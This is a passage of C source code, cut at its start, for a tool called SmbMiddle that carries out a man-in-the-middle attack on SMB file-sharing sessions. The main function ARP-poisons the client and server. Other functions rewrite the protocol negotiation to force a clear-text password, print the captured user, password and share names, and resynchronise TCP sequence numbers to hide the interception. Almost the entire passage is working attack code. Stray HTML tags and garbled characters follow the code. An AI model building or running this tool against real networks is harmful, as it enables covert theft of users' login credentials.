(IpHdr->ip_hl)); if( /*Check if that goes to the server*/ (IpHdr->ip_dst.s_addr==SmbServer) && /*Check if that from the client*/ (IpHdr->ip_src.s_addr==Client) && /*Check the dest port (139)*/ (ntohs(TcpHdr->dest)==SMB_PORT) ) { *Sport = ntohs(TcpHdr->source); NbtSession = (NbtSessionHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff)); if((NbtSession->Type==0x00)) { SmbBase = (SmbBaseHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr)); /*Check if we have a SMB negprot request*/ if( SmbBase->Command == 0x72 ) { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); break; } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } } } } /********************************************************************/ /*Sniff, modify and send the setup X request*/ #define ENC_PASSWORD_LENGTH 24 void SetupXRequest( /*Client's IP address*/ u_int32_t Client, /*SMB server's IP address*/ u_int32_t SmbServer, /*Client MAC Address*/ u_char *EnetClient, /*Server MAC address*/ u_char *EnetSmbServer, /*MIM mac address*/ u_char *MyEnet, /*The encryption key*/ u_char *EncryptionKey, /*Client's Source Port */ int Sport, /*Modification Offset*/ int *SetupXOffset, int NegOffset, /*To know which security level we've got*/ int Security, char *Device, pcap_t *Descr) { /*Use by Libpcap Fonction*/ struct pcap_pkthdr Header; /*Packet's structures*/ struct ethhdr *EtherHdr; struct ip *IpHdr; struct tcphdr *TcpHdr; libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; NbtSessionHdr *NbtSession; NbtSessionHdr *NbtSession2; SmbBaseHdr *SmbBase; SmbSetupXRequestHdr *SmbSetupXRequest; SmbSetupXRequestHdr *SmbSetupXRequest2; /*Our Packet */ u_char *Packet; u_char *Packet2; u_char *Temp; u_char *Buffer; u_char EncryptedPassword[24]; int TempSize; int Length; int PacketLength; u_char EnetDst[ETH_ALEN]; u_char Password[16]; /*Modification offset*/ int Before; int After; /*Packet analysis*/ while(1) { Packet = (u_char *) pcap_next(Descr,&Header); EtherHdr = (struct ethhdr * ) (Packet); if(!(memcmp(EtherHdr->h_dest,MyEnet,ETH_ALEN))) { if( !((memcmp(EtherHdr->h_source,EnetSmbServer,ETH_ALEN)) && (memcmp(EtherHdr->h_source,EnetClient,ETH_ALEN)))) { if(!(memcmp(EtherHdr->h_source,EnetSmbServer,ETH_ALEN))) { memcpy(EnetDst,EnetClient,ETH_ALEN); } if(!(memcmp(EtherHdr->h_source,EnetClient,ETH_ALEN))) { memcpy(EnetDst,EnetSmbServer,ETH_ALEN); } if(ntohs(EtherHdr->h_proto)==ETH_P_IP) { IpHdr = (struct ip * ) (Packet +ETH_HLEN); if(IpHdr->ip_p==IPPROTO_TCP) { TcpHdr = (struct tcphdr * ) ( Packet + ETH_HLEN + 4 * (IpHdr->ip_hl)); if( //Check if that comes from the client (IpHdr->ip_src.s_addr==Client) && //Check if that goes to the server (IpHdr->ip_dst.s_addr==SmbServer) && //Check the destination port (ntohs(TcpHdr->dest)==SMB_PORT) && //Check the source port (139) (ntohs(TcpHdr->source)==Sport) ) { NbtSession = (NbtSessionHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff)); if((NbtSession->Flags==0x00)) { SmbBase = (SmbBaseHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr)); //Check if we have a SMB setupx request if( SmbBase->Command == 0x73 ) { /*Size of the SMB packet before the modification*/ Before = ntohs(NbtSession->Length); SmbSetupXRequest = (SmbSetupXRequestHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr)); memset(Password,0,16); strncpy(Password, (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbSetupXRequestHdr)), SmbSetupXRequest->CaseInsensitivePasswordLength[0]); printf("\nSMB server IP : %s",inet_ntoa(IpHdr->ip_dst)); /*If there is a share security level, we don't print the * user name*/ if(Security) { printf("\nUser : %s", (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbSetupXRequestHdr) + SmbSetupXRequest->CaseInsensitivePasswordLength[0])); } printf("\nPass : %s\n\n",Password); // We put the encrypted password instead of the password // * in clear text SMBencrypt(Password,EncryptionKey,EncryptedPassword); TempSize = (SmbSetupXRequest->ByteCount[0] - SmbSetupXRequest->CaseInsensitivePasswordLength[0]); Temp = malloc(TempSize*sizeof(u_char)); memcpy((u_char *)( Temp), (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbSetupXRequestHdr) + SmbSetupXRequest->CaseInsensitivePasswordLength[0]), TempSize); Length = sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbSetupXRequestHdr); Packet2 = (u_char *) (malloc( (Length + TempSize + ENC_PASSWORD_LENGTH) * sizeof(u_char))); memcpy((u_char *) (Packet2), (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) ), Length); memcpy((u_char *) (Packet2 + Length), EncryptedPassword, ENC_PASSWORD_LENGTH); memcpy((u_char *) (Packet2 + Length + ENC_PASSWORD_LENGTH), (u_char *) (Temp), TempSize); NbtSession2 = (NbtSessionHdr *) (Packet2); SmbSetupXRequest2 =(SmbSetupXRequestHdr *) (Packet2 + sizeof(NbtSessionHdr)+ sizeof(SmbBaseHdr)); SmbSetupXRequest2->ByteCount[0] = TempSize + ENC_PASSWORD_LENGTH; SmbSetupXRequest2->CaseSensitivePasswordLength[0] = 0x00; SmbSetupXRequest2->CaseInsensitivePasswordLength[0] = ENC_PASSWORD_LENGTH ; NbtSession2->Length = htons(sizeof(SmbBaseHdr) + sizeof(SmbSetupXRequestHdr) + TempSize + ENC_PASSWORD_LENGTH); /*Size of the SMB packet after the modification*/ After = ntohs(NbtSession2->Length); *SetupXOffset = After - Before; l=libnet_init(LIBNET_LINK,Device,ErrBuf); /*We send the modified packet*/ Tag=libnet_build_tcp( ntohs(TcpHdr->source), ntohs(TcpHdr->dest), ntohl(TcpHdr->seq), ntohl(TcpHdr->ack_seq)+NegOffset, TH_PUSH|TH_ACK, ntohs(TcpHdr->window), 0, ntohs(TcpHdr->urg_ptr), 4 * (TcpHdr->doff) + ntohs(NbtSession2->Length)+ sizeof(NbtSessionHdr), (u_char*) (Packet2), ntohs(NbtSession2->Length)+ sizeof(NbtSessionHdr), l, 0); Tag = libnet_build_ipv4(4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + ntohs(NbtSession2->Length), IpHdr->ip_tos, ntohs(IpHdr->ip_id), IP_DF, IpHdr->ip_ttl, IPPROTO_TCP, 0, IpHdr->ip_src.s_addr, IpHdr->ip_dst.s_addr, NULL, 0, l, 0); //build the ethernet Packet Tag = libnet_build_ethernet( //MAC adress of the server EnetSmbServer, //MAC adress of the client EnetClient, //Ethernet type // * of packet ETHERTYPE_IP, //The packet upper the // * ethernet header NULL, //The size of the packet upper the // * ethernet header 0, l, 0); //Write it to the layer libnet_write(l); libnet_destroy(l); break; } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, Client, SmbServer, EnetClient, EnetSmbServer, MyEnet, Header.len, Device); } } } } } /********************************************************************/ /*Wait the syn ack packet after the negprot reply for * a TCP synchronisation*/ void TcpAck( /*Client's IP address*/ u_int32_t IpSrc, /*SMB Server's IP address*/ u_int32_t IpDst, /*Client's MAC address*/ u_char *EnetSrc, /*Server's MAC address*/ u_char *EnetDest, /*MIM's MAC address*/ u_char *MyEnet, int Sport, int Dport, int NegOffset, char *Device, pcap_t *Descr) { /*Use by Libpcap Fonction*/ struct pcap_pkthdr Header; /*Packet's structure*/ struct ethhdr *EtherHdr; struct ip *IpHdr; struct tcphdr *TcpHdr; /*Our Packet*/ u_char *Packet; libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; u_char EnetDst[ETH_ALEN]; /*Packet analysis*/ while(1) { Packet = (u_char *) pcap_next(Descr,&Header); EtherHdr = (struct ethhdr * ) (Packet); if(!(memcmp(EtherHdr->h_dest,MyEnet,ETH_ALEN))) { if( !((memcmp(EtherHdr->h_source,EnetSrc,ETH_ALEN)) && (memcmp(EtherHdr->h_source,EnetDest,ETH_ALEN)))) { if(!(memcmp(EtherHdr->h_source,EnetSrc,ETH_ALEN))) { memcpy(EnetDst,EnetDest,ETH_ALEN); } if(!(memcmp(EtherHdr->h_source,EnetDest,ETH_ALEN))) { memcpy(EnetDst,EnetSrc,ETH_ALEN); } if(ntohs(EtherHdr->h_proto)==ETH_P_IP) { IpHdr = (struct ip * ) (Packet +ETH_HLEN); if(IpHdr->ip_p==IPPROTO_TCP) { TcpHdr = (struct tcphdr * ) ( Packet + ETH_HLEN + 4 * (IpHdr->ip_hl)); if( (ntohs(TcpHdr->dest)==Dport) && (TcpHdr->ack==1) && (IpHdr->ip_src.s_addr==IpSrc)&& (IpHdr->ip_dst.s_addr==IpDst) && (ntohs(TcpHdr->source) == Sport)) { l=libnet_init(LIBNET_LINK,Device,ErrBuf); //Build the packet Tag=libnet_build_tcp( ntohs(TcpHdr->source), ntohs(TcpHdr->dest), ntohl(TcpHdr->seq), /*TCP synchronisation*/ ntohl(TcpHdr->ack_seq)+NegOffset, TH_ACK, ntohs(TcpHdr->window), 0, ntohs(TcpHdr->urg_ptr), 4 * (TcpHdr->doff), NULL, 0, l, 0); Tag = libnet_build_ipv4(4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) , IpHdr->ip_tos, ntohs(IpHdr->ip_id), IP_DF, IpHdr->ip_ttl, IPPROTO_TCP, 0, IpHdr->ip_src.s_addr, IpHdr->ip_dst.s_addr, NULL, 0, l, 0); //build the ethernet Packet Tag = libnet_build_ethernet( EnetDest, EnetSrc, //MAC adress of the server //Ethernet type // * of packet ETHERTYPE_IP, //The packet upper the // * ethernet header NULL, //The size of the packet upper the // * ethernet header 0, l, 0); //Write it to the layer libnet_write(l); libnet_destroy(l); break; } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } } } /********************************************************************/ /*Redirects the whole SMB session and synchronize the TCP sequence * numbers, waits for a FIN packet to stop the program. * Sniffs also TCONX packets to have the name of the share*/ void TcpFin( /*Client's IP adress*/ u_int32_t IpSrc, /*SMB Server's IP adress*/ u_int32_t IpDst, /*client 's MAC adress */ u_char *EnetSrc, /*server 's MAC adress */ u_char *EnetDest, /*MIM 's MAC adress */ u_char *MyEnet, /*Source port */ int Sport, /*Destination port */ int Dport, /*Offset size */ int NegOffset, int SetupXOffset, /*Device for injection*/ char *Device, /*Libpcap descriptor*/ pcap_t *Descr) { /*Use by Libpcap Fonction*/ struct pcap_pkthdr Header; /*Packet's structure*/ struct ethhdr *EtherHdr; struct ip *IpHdr; struct tcphdr *TcpHdr; /*Our Packet*/ u_char *Packet; libnet_t *l; libnet_ptag_t Tag; char ErrBuf[LIBNET_ERRBUF_SIZE]; u_char EnetDst[ETH_ALEN]; SmbBaseHdr *SmbBase; NbtSessionHdr *NbtSession; /*Packet analysis*/ while(1) { Packet = (u_char *) pcap_next(Descr,&Header); EtherHdr = (struct ethhdr * ) (Packet); if(!(memcmp(EtherHdr->h_dest,MyEnet,ETH_ALEN))) { if( !((memcmp(EtherHdr->h_source,EnetSrc,ETH_ALEN)) && (memcmp(EtherHdr->h_source,EnetDest,ETH_ALEN)))) { if(!(memcmp(EtherHdr->h_source,EnetSrc,ETH_ALEN))) { memcpy(EnetDst,EnetDest,ETH_ALEN); } if(!(memcmp(EtherHdr->h_source,EnetDest,ETH_ALEN))) { memcpy(EnetDst,EnetSrc,ETH_ALEN); } if(ntohs(EtherHdr->h_proto)==ETH_P_IP) { IpHdr = (struct ip * ) (Packet +ETH_HLEN); if(IpHdr->ip_p==IPPROTO_TCP) { TcpHdr = (struct tcphdr * ) ( Packet + ETH_HLEN + 4 * (IpHdr->ip_hl)); if( (ntohs(TcpHdr->dest)==Dport) && (IpHdr->ip_src.s_addr==IpSrc)&& (IpHdr->ip_dst.s_addr==IpDst) && (ntohs(TcpHdr->source) == Sport)) { /*In this part all is coming from the client to the server*/ /*TCP FIN flag ? => Stop the program*/ if(TcpHdr->fin==1) { break; } NbtSession = (NbtSessionHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff)); if((NbtSession->Flags==0x00)) { SmbBase = (SmbBaseHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr)); //Check if we have a TCONX request if( SmbBase->Command == 0x75 ) { printf("\nShare : %s", (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr) + sizeof(SmbBaseHdr) + sizeof(SmbTconXRequestHdr)+1)); } } l=libnet_init(LIBNET_LINK,Device,ErrBuf); Tag=libnet_build_tcp( ntohs(TcpHdr->source), ntohs(TcpHdr->dest), /*Synchronization*/ ntohl(TcpHdr->seq)+SetupXOffset, ntohl(TcpHdr->ack_seq)+NegOffset, TH_PUSH|TH_ACK, ntohs(TcpHdr->window), 0, ntohs(TcpHdr->urg_ptr), ntohs(IpHdr->ip_len) - (4 * (IpHdr->ip_hl)), (u_char *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + (4 * (TcpHdr->doff))), ntohs(IpHdr->ip_len) - (4 * ((TcpHdr->doff)+(IpHdr->ip_hl))), l, 0); Tag = libnet_build_ipv4(ntohs(IpHdr->ip_len), IpHdr->ip_tos, ntohs(IpHdr->ip_id), IP_DF, IpHdr->ip_ttl, IPPROTO_TCP, 0, IpHdr->ip_src.s_addr, IpHdr->ip_dst.s_addr, NULL, 0, l, 0); //build the ethernet Packet Tag = libnet_build_ethernet( EnetDest, EnetSrc, //MAC adress of the server //Ethernet type // * of packet ETHERTYPE_IP, //The packet upper the // * ethernet header NULL, //The size of the packet upper the // * ethernet header 0, l, 0); //Write it to the layer libnet_write(l); libnet_destroy(l); } if( (ntohs(TcpHdr->dest)==Sport) && (IpHdr->ip_src.s_addr==IpDst)&& (IpHdr->ip_dst.s_addr==IpSrc) && (ntohs(TcpHdr->source) == Dport)) { /*In this part all is coming from the server to the client*/ /*TCP FIN flag ? => Stop the program*/ if(TcpHdr->fin==1) { break; } NbtSession = (NbtSessionHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff)); if((NbtSession->Flags==0x00)) { SmbBase = (SmbBaseHdr *) (Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff) + sizeof(NbtSessionHdr)); //Check if we have a SMB setupX reply if( SmbBase->Command == 0x73 ) { if(ntohs(NbtSession->Length)>35) { printf("Access granted -> Password valid !\n"); } else { printf("Session Failed -> Password invalid !\n"); } } } l=libnet_init(LIBNET_LINK,Device,ErrBuf); Tag=libnet_build_tcp( ntohs(TcpHdr->source), ntohs(TcpHdr->dest), /*Synchronization*/ ntohl(TcpHdr->seq)-NegOffset, ntohl(TcpHdr->ack_seq)-SetupXOffset, TH_PUSH|TH_ACK, ntohs(TcpHdr->window), 0, ntohs(TcpHdr->urg_ptr), ntohs(IpHdr->ip_len) - (4 * (IpHdr->ip_hl)), (u_char *)(Packet + ETH_HLEN + 4 * (IpHdr->ip_hl) + 4 * (TcpHdr->doff)), ntohs(IpHdr->ip_len) - (4 * ((TcpHdr->doff)+(IpHdr->ip_hl))), l, 0); Tag = libnet_build_ipv4(ntohs(IpHdr->ip_len), IpHdr->ip_tos, ntohs(IpHdr->ip_id), IP_DF, IpHdr->ip_ttl, IPPROTO_TCP, 0, IpHdr->ip_src.s_addr, IpHdr->ip_dst.s_addr, NULL, 0, l, 0); //build the ethernet Packet Tag = libnet_build_ethernet( EnetSrc, //MAC adress of the server EnetDest, //Ethernet type // * of packet ETHERTYPE_IP, //The packet upper the // * ethernet header NULL, //The size of the packet upper the // * ethernet header 0, l, 0); //Write it to the layer libnet_write(l); libnet_destroy(l); } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } else { EnetRedirection(EnetDst, Packet, IpSrc, IpDst, EnetSrc, EnetDst, MyEnet, Header.len, Device); } } } } /********************************************************************* THE MAIN FUNCTION *********************************************************************/ extern char *optarg; extern int optind; extern int opterr; int main(int argc,char *argv[]) { /*Use to have the command's parameters*/ static char optstring[]="i:s:c:f:"; int optch; char *Device; /*Several IP addresses*/ u_int32_t Client; u_int32_t SmbServer; u_int32_t MyIp; int EncryptionKeyLength; u_char EncryptionKey[8]; int DomainNameLength; u_char *DomainName; int Sport; int NegOffset; int SetupXOffset; int Security=0; pcap_t *Descr; u_char RealEnetClient[ETH_ALEN]; u_char RealEnetSmbServer[ETH_ALEN]; u_char MyEnet[ETH_ALEN]; char Errbuf[4096]; if(argc < 9) { printf("\nSmbMiddle -i interface -c Client's IP -s Server's IP -f Fake IP\n"); return 0; } while((optch= getopt(argc,argv,optstring))!=EOF) { switch(optch) { case 'i': Device = (char *) (malloc(strlen(optarg)*sizeof(char))); strncpy(Device,optarg,strlen(optarg)); break; case 'c': Client = inet_addr(optarg); break; case 's': SmbServer = inet_addr(optarg); break; case 'f': MyIp = inet_addr(optarg); break; default : printf("\nSmbMiddle -i interface -c Client's IP -s Server's IP -f Fake Ip\n"); return 0; } } Descr = pcap_open_live(Device,65535,1,0,Errbuf); GetEnetAddress(MyEnet,Device); /*To have the MAC adress of the client*/ ArpRequestInjection(&MyIp, &Client, MyEnet, RealEnetClient, Device, Descr); /*To have the MAC adress of the server*/ ArpRequestInjection(&MyIp, &SmbServer, MyEnet, RealEnetSmbServer, Device, Descr); /*Arp poisoning against the server*/ ArpPoison( &Client, &SmbServer, MyEnet, RealEnetSmbServer, Device); ArpPoison( &SmbServer, &Client, MyEnet, RealEnetClient, Device); /*We sniff for the negprot request*/ NegProtRequest( Client, SmbServer, &Sport, RealEnetClient, RealEnetSmbServer, MyEnet, Device, Descr); /*We sniff for the negprot reply, modify it, * send it to the server and recover the domain name*/ DomainName = NegProtReply( Client, SmbServer, Sport, RealEnetClient, RealEnetSmbServer, MyEnet, &DomainNameLength, &EncryptionKeyLength, EncryptionKey, &NegOffset, &Security, Device, Descr); /*We sniff to have the ACK from the client, we must modify it * and send it to the server to synchronize the TCP sequence number*/ TcpAck( Client, SmbServer, RealEnetClient, RealEnetSmbServer, MyEnet, Sport, SMB_PORT, NegOffset, Device, Descr); /*We sniff the setupx request to have the password in clear, to make * some modification and send it to the server*/ SetupXRequest( Client, SmbServer, RealEnetClient, RealEnetSmbServer, MyEnet, EncryptionKey, Sport, &SetupXOffset, NegOffset, Security, Device, Descr); /*We wait after the TCP FIN packet (connection closed), during * this time we must synchronize the SMB session */ TcpFin( Client, SmbServer, RealEnetClient, RealEnetSmbServer, MyEnet, Sport, SMB_PORT, NegOffset, SetupXOffset, Device, Descr); /*Sends the real MAC addresses to the server and the client * the connection will not fail !*/ ArpPoison( &Client, &SmbServer, RealEnetClient, RealEnetSmbServer, Device); ArpPoison( &SmbServer, &Client, RealEnetSmbServer, RealEnetClient, Device); return 0; } /*****************************THE END********************************/
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß